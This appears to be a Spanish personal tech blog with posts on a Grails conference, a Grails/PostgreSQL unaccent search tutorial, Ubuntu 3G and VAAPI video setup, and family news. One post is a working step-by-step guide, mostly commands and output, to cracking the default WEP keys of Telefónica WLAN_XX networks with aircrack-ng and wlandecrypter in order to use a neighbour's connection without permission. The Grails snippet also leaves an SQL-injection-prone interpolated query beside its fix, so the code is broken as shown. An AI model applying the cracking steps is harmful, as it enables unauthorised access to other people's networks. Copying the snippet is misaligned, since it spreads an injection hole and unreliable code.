
    1.- Groovy 1.8 and beyond!: Guillaume Laforge, project manager de Groovy nos contó las novedades de la versión 1.8 y nos adelantó algunas de las nuevas características que tendremos disponibles en groovy 1.9 como grandes mejoras en el rendimiento o un compilador más estricto que permitirá detectar más errores en tiempo de compilación en lugar de retrasarlos hasta la ejecución.
    2.- Novedades de Grails 2.0: Álvaro Sánchez-Mariscal, después de una presentación con un video con la intro de "The Day of the Tentacle", nos contó las novedades que incluye la versión 2.0 de Grails respecto a la 1.3.7: Scaffolding en HTML5, uso por defecto de jQuery en lugar de prototype, muchas mejoras en la parte de tests,...
    3.- Deconstructing i18n-fields. Nacimiento y evolución de un power-plugin de Grails, sin cortes, sin censuras: Bajo este título, Jorge Uriarte nos contó las ventajas de la arquitectura de plugins de Grails, lo fácil que es crear un plugin y cómo le surgió la necesidad de crear este plugin. Con él, se puede internacionalizar campos de la base de datos de manera muy fácil y sencilla. Nos contó las distintas aproximaciones y evoluciones que ha tenido el plugin, vimos fragmentos de código,... La charla me pareció muy interesante y al final de ella pude hablar un rato con Jorge para comentarle que yo ya estoy utilizando su plugin en un proyecto y que me está resultando muy útil.
    Después de esto tuvimos una pequeña pausa para tomar un café y recuperar algo de fuerzas con una pastas y volvimos a la carga con el siguiente bloque de charlas
    4.- Volando con Griffon: Griffon es un framework que utiliza el lenguaje Groovy para escribir aplicaciones Java de escritorio basadas en Swing. La charla la dió Andrés Almiray, creador de Griffon. Tenía puestas muchas expectativas en esta charla pero al final me decepcionó un poco, según la agenda íbamos a ver cómo crear una aplicación con REST habilitado y al final sólo vimos cómo crear una aplicación con un par de cajas de texto y poco más.
    5.- Gana velocidad y facilita la escalabilidad: Optimiza tus webs Grails: Dani Latorre nos contó una serie de tips generales para optimizar aplicaciones web y fue poniendo ejemplos de cómo implementarlos en Grails. Nos contó una gran variedad de plugins existentes actualmente con los que poder llevar a cabo dichas optimizaciones. La charla, sin ser magnífica, sí que me sirvió para replantearme ciertas cosas.
    6.- Grails and Cloud Foundry: Después de la parada para la comida, volvimos con Graeme Rocher, lider del proyecto Grails, que nos contó la plataforma Cloud Foundry para el despliegue de aplicaciones "en la nube". Después de una pequeña introducción nos contó la existencia de un plugin de Grails que permite la integración y despligue de nuestras aplicaciones Grails de una manera rápida y sencilla. Vimos una demo de cómo funciona y aunque parece muy prometedor, todavía tiene bastantes limitaciones: no hay persistencia en el sistema de ficheros, no se puede acceder a la base de datos,... Graeme nos contó que están trabajando en solucionar todos estos problemas.
    7.- Groovy Code Generation: Esta sin duda fue la charla más espesa de todas. Hamlet D'Arcy habló de transformaciones AST en Groovy. Hubo bastantes ejemplos y la charla fue muy interesante, aunque se requieren bastantes conocimientos para poder empezar con ello.
    8.- Creación de plugins en Griffon: Mario García nos contó cómo funcionan los plugins de Griffon y nos hizo una demo sobre cómo crear uno para acceder a una instancia Solr.
    9.- Engrandeciendo Grails con MongoDB: Esta fue una de las charlas que más me gustó. Enrique Medina nos habló sobre su experiencia en la integración de MondoDB con Grails, problemas que ha tenido, formas de resolver los distintos tipos de relaciones 1:1, 1:N y N:M. Me gustó mucho la charla y me abrió un poco los ojos respecto a una base de datos NoSQL. Es posible que en un futuro no muy lejano le dé una oportunidad a MongoDB en algún proyecto.

    Y después de todas estas charlas llegó la parte final, se sorteó un curso de HTML5 y CSS3, una licencia de WebStorm y otra de Intelli J y finalmente libros de Grails in Action y Griffon in Action. A mi me tocó uno de Grails in Action :-).
    Respecto a la organización, me pareció muy buena. Quiero dar las gracias a Alberto Vilches, padre del evento y a todos los colaboradores porque todo salió muy bien. Por ejemplo, el tema de la comida fue mucho mejor que en el pasado Spring IO en donde sólo tuvimos un sandwich frío. Esta vez pudimos comer en el comedor de la universidad.
    Como punto negativo, al igual que en el Spring IO, la wifi se caía de vez en cuando, aunque esto es algo ajeno a los organizadores ya que es totalmente dependiente de la universidad.

    viernes, 28 de octubre de 2011

    Creando Hibernate Criteria en Grails

       La situación es la siguiente: Tenemos una aplicación grails en la que tenemos que buscar por nombre de usuario. La primera aproximación sería utilizar ilike para buscar en los campos nombre y apellidos y todo funcionaría perfectamente hasta que llegamos a los nombres con tildes. ¿Qué ocurre si el usuario está dado de alta como Iván y nosotros introducimos Ivan, pues que sencillamente no aparecerá.
       Hay varias formas de afrontar el problema incluyendo el full text search con plugins como searchable o elasticsearch, pero si no queremos complicarnos en configurarlos o nuestra situación no requiere de búsquedas complejas, podemos usar otra solución.
       En mi caso estoy utilizando PostgreSQL como base de datos en su versión 9.0. A partir de esta versión se incluye por defecto (sólo es necesario instalarla) la función unaccent que elimina todas las tildes de un campo. Así, la consulta que contruiríamos a mano sería algo como:
    select * from user
    where unaccent("name") ilike unaccent('%iván%')
    
    Y devolvería cualquier usuario que se llamase: ivan, Iván, iván, IVÁN,...   Todo esto está muy bien, pero que ocurre si ya tenemos el siguiente criteria de grails:
    def users = User.createCriteria().list() {
        ilike('name', '%' + value + '%')
    }
    
    ¿Cómo añadimos esa llamada a la función unaccent?. Vamos a crear nuestro propio Hibernate Criteria.
    Editamos el archivo BootStrap.groovy y añadimos lo siguiente:
    HibernateCriteriaBuilder.metaClass.unaccent = { String propertyName, Object propertyValue ->
    
     if (!validateSimpleExpression()) {
      throwRuntimeException(new IllegalArgumentException("Call to [unaccent] with propertyName [" +
        propertyName + "] and other property name [" + otherPropertyName + "] not allowed here."));
     }
    
     propertyName = calculatePropertyName(propertyName);
     propertyValue = calculatePropertyValue(propertyValue);
    
     def query = "unaccent(\"${propertyName}\") ilike unaccent('%${propertyValue}%')"
     return addToCriteria(Restrictions.sqlRestriction(query));
    
     def query = "unaccent(\"${propertyName}\") ilike unaccent(?)"
     def value = "%${propertyValue}%"
     return addToCriteria(Restrictions.sqlRestriction(query.toString(), value.toString(), Hibernate.STRING));
    }
    
    [ACTUALIZACIÓN]: He cambiado la forma de generar la consulta para que evitar posibles ataques por inyección de sql.

    Lo que estamos haciendo es inyectar al HibernateCriteriaBuilder un método llamado unaccent que recibe como parámetros un string con el nombre de la propiedad y un objeto con el valor que queremos comparar.
    Con esto podemos reescribir la consulta anterior de la siguiente manera:
    def users = User.createCriteria().list() {
        // Old method
        //ilike('name', '%' + name + '%')
        unaccent('name', value)
    }
    
    Si ejecutamos el criteria vemos que la consulta es la siguiente:
    select
            this_.id as id19_0_,
            this_.name as name19_0_
         from
            user this_
         where
            unaccent("name") ilike unaccent('%iván%')
    
    Que efectivamente devuelve los mismos registros de antes :-)
       Todo esto se puede mejorar puesto que en función del número de registros que esperemos tener en la tabla, aplicar la función unaccent a la columna obliga a la base de datos a hacer un full scan en toda la tabla. Podríamos crear un índice, usar un campo paralelo para realizar las búsquedas que se mantenga automáticamente con un trigger, controlar este campo desde la aplicación grails con los métodos afterSave() y afterUpdate() de la clase de dominio User,... en fin, unas cuantas alternativas.

    martes, 1 de febrero de 2011

    Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña

       Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el modem 3G USB para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.
  • El primer paso es instalar desde los repositorios aircrack-ng. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,...
    ivan@suneo:~$ sudo apt-get install aircrack-ng
  • Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.
    ivan@suneo:~$ sudo airmon-ng start wlan0

    Interface Chipset Driver

    wlan0 Intel 3945ABG iwl3945 - [phy0]
    (monitor mode enabled on mon0)
  • La tarjeta wifi ya está en modo monitor, en este caso en el interfaz mon0. Éste será el que utilizaremos para capturar el tráfico.
    ivan@suneo:~$ sudo airodump-ng -w packets mon0

    CH 1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:01:38:DF:ED:AE -68 3193 6 0 6 54 . WEP WEP WLAN_B8
    00:1A:4D:22:45:81 -84 486 213 0 7 54e. OPN tcc-hotspot-escuera
    00:1F:3F:A3:C7:39 -90 52 0 0 6 54 WEP WEP Harry Mehlitz
    00:1A:2B:5C:57:76 -87 288 4 0 11 54 WEP WEP JAZZTEL_47
    00:1A:2B:01:AC:A0 -83 829 0 0 3 54 WEP WEP WLAN_E9
    00:0C:F6:82:44:50 -84 507 3 0 11 54e. WPA TKIP PSK Sitecom824450

    BSSID STATION PWR Rate Lost Packets Probes

    (not associated) 00:13:CE:6A:1B:14 -89 0 - 1 0 138 MI_CASA,WLAN_4B,1234567891234567891234567891
    (not associated) 00:1A:EF:05:17:2D -89 0 - 1 0 5 WLAN_4D
    00:01:38:DF:ED:AE 00:1F:3C:E1:95:C5 0 6 - 1 0 876 WLAN_B8
    00:1A:2B:5C:57:76 00:22:43:65:1E:C6 -84 0 - 1 0 5 JAZZTEL_47
    00:1A:2B:5C:57:76 00:16:EA:35:DD:D4 -85 0 - 1 0 3
  • He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo packets. La columna importante es #Data: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.

  •    Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
    En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.
    ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt

    wlandecrypter v1.3.1 (2010/04/21)

    [+] BSSID: 00:01:38:XX:XX:XX
    [+] Modelo: Xavi 7768r
    [+] Generando fichero de claves: dic_WLANB8.txt.kk
    [+] Fichero guardado OK
    [+] Generadas 65536 claves (896 KB)
    [+] Proceso finalizado con exito

       Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
       Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.
    ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap

    Opening packets-01.cap
    Reading packets, please wait...

    Aircrack-ng 1.0


    [00:00:00] Tested 3873 keys (got 6 IVs)

    KB depth byte(vote)
    0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
    12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)

    KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
    Decrypted correctly: 100%

       Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
       P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)

    miércoles, 11 de agosto de 2010

    Conexión 3G con Ubuntu

       Hace unos meses compré un modem USB 3G de Carrefour móvil. La oferta era muy buena y no quería dejar pasar la oportunidad: Modem 3G USB HUAWEI E156G libre, tarjeta carrefour móvil con 5€ de saldo y tarifa diaria de 1€ sin límite de velocidad hasta 100 MB y luego con velocidad reducida. Todo por tan sólo 29€.

       Lo primero que hice cuando llegué a casa fue probarlo con una tarjeta Simyo que tengo (no quería probarlo con la tarjeta de carrefour para no desperdiciar un día de la conexión). Conecté el modem al portatil (con Ubuntu 10.04, por supuesto) y éste lo reconoció sin problemas:
    ivan@suneo:~$ tail /var/log/messages
    Aug 11 22:43:56 suneo kernel: [ 447.944954] option 2-2:1.0: GSM modem (1-port) converter detected
    Aug 11 22:43:56 suneo kernel: [ 447.945320] usb 2-2: GSM modem (1-port) converter now attached to ttyUSB0

       El asistente de configuración no puede ser más fácil, sencillo e intuitivo. Hacemos click con el botón derecho en el icono del network manager y añadimos una nueva conexión Mobile, seleccionamos el dispositivo, el país, nuestro operador y finalizamos.




    Ahora ya nos podemos conectar. Elegimos la conexión que acabamos de crear, esperamos unos segundos a que se establezca y ya podemos navegador.

    ¿Quién dijo que configurar las cosas en linux era difícil?.

       En el caso de querer utilizar la tarjeta de Carrefour móvil el procedimiento es el mismo pero como éste no aparece en la lista de proveedores, deberemos configurarlo a mano. Sólo tenemos que introducir CARREFOURINTERNET como APN y listo, conexión configurada y lista para ser utilizada.

    domingo, 1 de agosto de 2010

    Acelerando video en alta definición H.264 por hardware en Ubuntu 10.04 con ATI

       Desde que monté el HTPC una de las cosas que siempre quise hacer fue acelerar por hardware los vídeos H.264. Todas las series que descargo (que son bastantes) intento que estén siempre en 720p puesto que además de la calidad adicional respecto al divx estándar, también viene con sonido 5.1, por lo que la sensación final es mucho mejor.
       Así, quería poder acelerar el video sin tener que tirar de cpu. Cuando tenía instalado windows xp en el HTPC lo intenté siguiendo varias guías y tutoriales y también con distintos programas, pero al final no fui capaz de conseguirlo. Desde que instalé Ubuntu en el HTPC la cosa ha cambiado. Mi placa base lleva integrada una ATI HD3200, que, aunque es algo modesta y para juegos seguro que se queda corta, permite acelerar vídeos en alta definición. Para ello vamos a utilizar las librerías VAAPI (Video Aceleration API) que son el equivalente para ATI de las famosas VDPAU de NVidia. Además, como no podría ser de otra forma, el reproductor será mplayer. Veamos cómo lo he conseguido.

    Instalando el driver propietario de ATI
       Utilizaremos la última versión de los drivers propietarios de ATI para Linux. En Ubuntu 10.04 sólo funcionan los drivers a partir de la versión 10.4. Por suerte, cuando salió la última versión de Ubuntu, en ATI se pusieron las pilas y al día siguiente ya habían liberado los drivers. Parece que por fin nos van teniendo en cuenta a los usuarios de Linux.
       Actualmente la última versión disponible para mi tarjeta es la 10.7. La descargamos, en mi caso la versión de 64 bits, y la instalamos sin mayor complicación con:
    $ sudo ./ati-driver-installer-10-7-x86.x86_64.run


    Instalando las librerías VAAPI
       Como hemos comentado, para conseguir la aceleración por GPU vamos a usar VAAPI. En la web http://www.splitted-desktop.com/~gbeauchesne/ nos tenemos que bajar las últimas versiones disponibles de: libva, libva-dev, libva-dbg y xvba-video
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva-dev_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1-dbg_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1_0.31.1-1+sds4_amd64.deb
    $ wget http://www.splitted-desktop.com/~gbeauchesne/xvba-video/xvba-video_0.7.2-1_amd64.deb
    Instalamos los paquetes que acabamos de descargar:
    $ sudo dpkg -i libva* xvba-video_0.7.2-1_amd64.deb


    Compilando mplayer con soporte VAAPI
       Aunque no es estrictamente necesario, sí es recomendable instalar primero la versión existente en los repositorios de Ubuntu. Así, el sistema sabrá que está instalado y nos permitirá instalar complementos como la interfaz gráfica SMPlayer.
       Antes de poder compilar mplayer tendremos que descargar todas las librerías y paquetes xxxx-dev necesarios. Para ello ejecutamos lo siguiente. En mi caso se descargaron 112 paquetes, pero esto puede variar de un sistema a otro en función de lo que tengamos instalado previamente.
    $ sudo apt-get build-dep mplayer
       Aunque la compilación de mplayer puede parecer algo complejo, realmente es muy sencilla. Lo que realmente nos vamos a descargar es un script y unos parches para mplayer. Descargamos la última versión disponible en http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/.
    $ wget http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/mplayer-vaapi-20100713.tar.bz2

    $ bunzip2 mplayer-vaapi-20100713.tar.bz2
    $ tar xvf mplayer-vaapi-20100713.tar
    mplayer-vaapi-20100713/
    mplayer-vaapi-20100713/patches/
    mplayer-vaapi-20100713/patches/mplayer-vaapi-gma500-workaround.patch
    mplayer-vaapi-20100713/patches/mplayer-vdpau.patch
    mplayer-vaapi-20100713/patches/mplayer-vaapi.patch
    mplayer-vaapi-20100713/patches/mplayer-vaapi-0.29.patch
    mplayer-vaapi-20100713/checkout-patch-build.sh
    mplayer-vaapi-20100713/README.txt
    mplayer-vaapi-20100713/NEWS
       Ejecutamos el script que se encarga de todo. Descarga de los subversions las versiones adecuadas de mplayer, ffmpeg y dvdnav, las parchea y finalmente las compila. Si hemos ejecutado todos los pasos anteriores deberíamos tener todas las dependencias satifeschas y la compilación no debería fallar. Esperamos a que termine ya que tardará más o menos en función de la potencia de la máquina.
    $ ./checkout-patch-build.sh
    Ahora tendremos un directorio llamado mplayer-vaapi en el que estará disponible nuestra propia versión de mplayer.


    Probando a vídeos con aceleración y sin ella
       Para hacer la prueba voy a utilizar un capítulo de Lost en 720p. Primero vamos a hacer una prueba sin acelerar ejecutando simplemente:
    $ ./mplayer Lost.S06E01-02.720p.mkv
    ...
    VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)
    ==========================================================================
    Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
    Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
    ==========================================================================
    Starting playback...
    Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.
    VO: [xv] 1280x720 => 1280x720 Planar YV12
       Si ahora hacemos lo mismo pero utilizamos VAAPI vemos en la salida de mplayer que estamos usando las librerías para la aceleración.
    $ ./mplayer -vo vaapi -va vaapi Lost.S06E01-02.720p.mkv
    ...
    VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)
    libva: libva version 0.31.1-sds1
    Xlib: extension "XFree86-DRI" missing on display ":0.0".
    libva: va_getDriverName() returns 0
    libva: Trying to open /usr/lib/va/drivers/fglrx_drv_video.so
    libva: va_openDriver() returns 0
    ==========================================================================
    Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family
    [VD_FFMPEG] VA API accelerated codec.
    Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)
    ==========================================================================
    VO: [vaapi] 1280x720 => 1280x720 H.264 VA-API Acceleration
    [VD_FFMPEG] XVMC-accelerated MPEG-2.
       Para que se vea de una manera más gráfica la diferencia de consumo de CPU, con el comando pidstat tomé muestras del consumo de mplayer en ambos casos.

       Como vemos la diferencia en ambos casos del uso de CPU es brutal, algo esperado porque quien realmente está decodificando el vídeo en el caso de VAAPI es la GPU.

       Finalmente, copiamos mplayer a su ubicación definitiva para poder ejecutarlo desde cualquier sitio. Con esto reemplazaremos los binarios que instalamos desde los repositorios.
    $ sudo make install
    install -d /usr/local/bin /usr/local/etc/mplayer /usr/local/lib
    install -m 755 -s mencoder /usr/local/bin
    install -d /usr/local/share/man/man1
    install -m 644 DOCS/man/en/mplayer.1 /usr/local/share/man/man1/
    cd /usr/local/share/man/man1 && ln -sf mplayer.1 mencoder.1
    install -m 755 -s mplayer /usr/local/bin


    Automatizando los parámetros de mplayer
       Ahora ya sabemos cómo acelerar los vídeos por hardware pero es una tarea un poco pesada tener que pasar todos los parámetros de mplayer para cada vídeo. Además, en mi caso, no estoy utilizando la salida de audio mini-jack de la placa base, sino que uso la salida óptica S/PDIF. Para conseguir que mplayer saque el audio por ese conector, también debemos indicárselo.
       Mostramos un listado de los dispositivos hardware capaces de reproducir audio para ver cual es que nos interesa.
    $ aplay -l
    **** List of PLAYBACK Hardware Devices ****
    card 0: SB [HDA ATI SB], device 0: ALC889A Analog [ALC889A Analog]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
    card 0: SB [HDA ATI SB], device 1: ALC889A Digital [ALC889A Digital]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
    card 1: HDMI [HDA ATI HDMI], device 3: ATI HDMI [ATI HDMI]
    Subdevices: 1/1
    Subdevice #0: subdevice #0
       Así, debemos ejecutar mplayer indicando la tarjeta y el dispositivo que queremos utilizar para sacar el audio. Adicionalmente también le forzamos el audio AC3:
    $ mplayer -ao alsa:device=hw=0.1 -ac hwac3 -vo vaapi -va vaapi pelicula.mvk
       Si hubiera querido que el audio saliera directamente por el conector HDMI que va a la tele, las opciones que tendría que haber puesto en mplayer serían: -ao alsa:device=hw=1.3
       Esto cada vez crece más. Si antes teníamos que poner las opciones para el soporte vaapi, ahora adicionalmente tenemos que poner también la salida por S/PDIF. Para nuestra comodidad podemos añadir todas estas opciones al archivo de configuración de mplayer.
    $ cat /home/ivan/.mplayer/config
    # Write your default config options here!
    # Salida por S/PDIF
    ao=alsa:device=hw=0.1,
    # Forzar audio a AC3
    ac=hwac3
    # Aceleración HW
    vo=vaapi
    va=vaapi
       De esta sólo tenemos que ejecutar
    $ mplayer pelicula.mkv
    y tendremos la salida de audio por S/PDIF y la aceleración por hardware habilitada.


    ¿Y por qué no usar VLC?
       Hace un par de semanas se ha liberado la versión 1.1.1 de VLC con soporte VAAPI. Si queréis instalarlo podéis seguir estas instrucciones. Simplemente consiste en añadir un nuevo repositorio e instalar VLC desde él. Aún así esta versión no está compilada con soporte VAAPI. También nos podemos descargar una versión con el soporte vaapi habilitado, pero según podemos leer en el enlace anterior, se "romperán" el resto de reproductores de video y paquetes que utilicen la versión de ffmpeg de los repositorios de Ubuntu. La única solución sería recompilarlos todos contra la nuevas versión de ffmpeg.
    Now, regarding vaapi (GPU acceleration): you basically can't compile VLC 1.1.0 with vaapi support without breaking stuff. To get it to work with vaapi, it would need newer ffmpeg packages which would mean every package using the ffmpeg packages in the Ubuntu official repository would be broken unless it is compiled against the same ffmpeg package (so you would need to either compile every package that uses ffmpeg yourself or a PPA should package all these packages - which is practically impossible).

    There is a PPA which packages VLC 1.1.0 with vaapi support as well as fixed mplayer to work with the new ffmpeg/gstreamer. But since this PPA only has VLC and mplayer, it means that other video players / video editors will stop working if you use the following PPA and for this reason I won't post instructions for installing it here. You can however find both the PPA and exact instructions for installing VLC 1.1.0 with vaapi support, HERE. Remember: using it, a lot of applications will be broken! Also, the VLC package in the Cutting Edge Multimedia PPA (not the C-Korn PPA we posted in the begining of the post - that's stable and doesn't break anything!) doesn't yet have the latest VLC 1.1.0 but a GIT version dating back to June 16 - that's still very close to the final version.
       Así que nada. Tendremos que esperar a que se actualicen todos los programas de los repos antes de poder probar la aceleración hardware con VLC.


    Conclusiones
       Sabía que acelerar los vídeos por GPU iba a suponer que la CPU prácticamente estuviera descansando, aún así el resultado me ha sorprendido gratamente. Además, por fin parece que ATI proporciona unos drivers que funcionan en Linux. Son propietarios y cerrados y sería estupendo que fueran libres, pero al menos, los que decidimos apostar por ATI y Linux no nos sentimos abandonados como hace unos años cuando ATI en Linux era sinónimo de problemas y quebraderos de cabeza. Aún recuerdo cuando monté mi ordenador "de sobremesa" hace ya más de tres años, que elegí una NVidia sin dudarlo por la multitud de problemas que había con ATI en Linux. En fin, los tiempos cambian, por fortuna a mejor, para los usuarios de Linux :-).

    sábado, 17 de julio de 2010

    ¡Ha nacido Adriana!

       El pasado 5 de Julio a las 01:20 AM nació por parto natural Adriana. Pesó 3,120 Kg y midió 48 cm. Ahora que se me está terminando la baja de paternidad saco un hueco para escribir y contarlo. La niña y mi mujer están bien y ahora estamos adaptándonos a la situación. Judith parece que se lo está tomando bastante bien y de momento mira con curiosidad a su hermanita, la acaricia y le da besitos. Iremos viendo poco a poco cómo va evolucionando la situación.

       Como no iba a ser menos, Adriana ya tiene creado su blog en el que iremos poniendo fotos para que las vea la familia (y por supuesto todo el que quiera!): http://adrianalopezbre.blogspot.com.

    jueves, 1 de julio de 2010

    Ubuntu en el HTPC. ¡Ahora sí!

       Hace prácticamente un año que escribí el artículo HTPC para el salón. En él comentaba que había montado un HTPC y que le había instalado Windows XP, pero que había dejado una partición para Linux. Además, probé un live-cd de Ubuntu pero no me llegó a ir del todo bien y al final lo fui dejando pasar.

       Resulta, que como siempre pasa en Windows con el paso del tiempo, el sistema se va degradando y deja de funcionar. Es algo que me extrañó porque en el HTPC no instalaba nada, sólo lo mínimo imprescindible para funcionar y para que el ordenador arrancase rápido. Aún así, hace unos 3-4 meses empezó a resetearse de vez en cuando sin motivo aparente. Así que cogí un live-cd de Ubuntu 9.10, lo instalé y me puse a configurarlo. Después de pegarme bastante, al final logré dejar todo funcionando, incluso sacando el audio por la salida óptica enganchada al ampli en 5.1 :-D. Luego, después de que saliera Ubuntu 10.04, formatee, instalé todo de cero y configuré de nuevo (esta vez fue todo más rápido y sencillo).

        Después de llevar utilizando Ubuntu como media center estos últimos meses he de decir que no tiene nada que envidiar a Windows. Todos los codecs funcionan, el audio en 5.1 sin problemas e incluso la aceleración de videos en HD, algo que cuando arrancaba con windows nunca fui capaz de conseguir. Pero esto tendrá que esperar a la siguiente entrada...

    Actualización: Como dice luischenco en los comentarios, ni siquiera he contado el software que estoy utilizando. La verdad es que no estoy utilizando ninguno!. Me explico. He probado XBMC y Boxee y ninguno me ha terminado de convencer. Sí, son muy bonitos y están muy bien hechos, pero no son para mi. Yo el htpc lo utilizo como "almacen temporal" de pelis y series, no las guardo para siempre, por lo que no necesito tener las carátulas, la sinopsis, la información de los actores,... Como he dicho, es muy chulo, pero nada más. En el htpc no tengo música, ni fotos y nada más, sólo series y pelis (y dibus para Judith), por lo que todo eso no me aporta nada.
    El software que utilizo: 3 accesos directos en el escritorio a las pelis, series y dibujos, y luego doble-clic en el archivo que quiero abrir, así de sencillo. Por defecto se abre con VLC y si quiero aceleración hardware lo lanzo con mplayer desde línea de comandos. Así de simple.

    domingo, 20 de junio de 2010

    Nuevo diseño del blog

       Estaba dispuesto esta noche a preparar un par de artículos que tenía pendientes desde hace tiempo pero al conectarme a blogger he visto que hay una opción nueva para cambiar el diseño del blog. He estado haciendo unas cuantas pruebas y el resultado es el que podéis ver.


    El nuevo diseñador es muy sencillo y fácil de utilizar, permite cambiar muchas opciones de la plantilla e incluso añadir nuestros propios de css sin tener que tocar el código para nada.
    Además, también he estado retocando los widgets laterales, añadiendo el track de google analytics y poco más, en muy poco tiempo el blog ha quedado listo y con un lavado de cara que venía postponiendo desde hacía ya demasiado tiempo.

       En fin, tendré que dejar los artículos para otro día...

    miércoles, 5 de mayo de 2010

    Quinto aniversario del blog

       Cómo pasa el tiempo... han pasado ya cinco años desde que escribir mi primer post en el que ponía dos escuetas líneas y poco más.

       Al principio el blog empezó siendo un cajón desastre en el que contaba lo que se me pasaba por la cabeza, comentaba noticias que había leído,... en fin, un blog personal a todos los efectos, sin temática definida y sin mucho que aportar. Así fueron saliendo posts como una película de Star Wars hecha por aficionados: Star Wars Revelations, el alta de mi cuenta nómina de ING (que todavía sigo utilizando): Cuenta Nómina de ING, un regalo de cumpleaños tecnológico: Mi regalo de cumpleaños. Luego vinieron otros post con unas estadísticas (miserables) de visitas al blog: Estadísticas, mi título de Ingeniero en Informática: Ya soy ingeniero..., el que creo que fue mi primer post técnico de verdad sobre apache y tomcat: Apache + Tomcat + Redirección + Ocultamiento de puertos, el flasheo de un router linksys DD-WRT en Linksys que Fon me vendió por 1€+IVA: Punto de acceso Fon y un largo etcétera.

       Así llegamos al que fue el punto de inflexión en el blog y en su temática. El artículo sobre el Raid 1 en Linux. Este artículo marcó un antes y un después puesto que llegó a portada de Barrapunto: El efecto Barrapunto. A partir de ahí las visitas comenzaron a subir y me sirvió para que el blog se conociera algo más. Desde entonces fijé una temática técnica y salvo casos muy puntuales creo que la he mantenido.

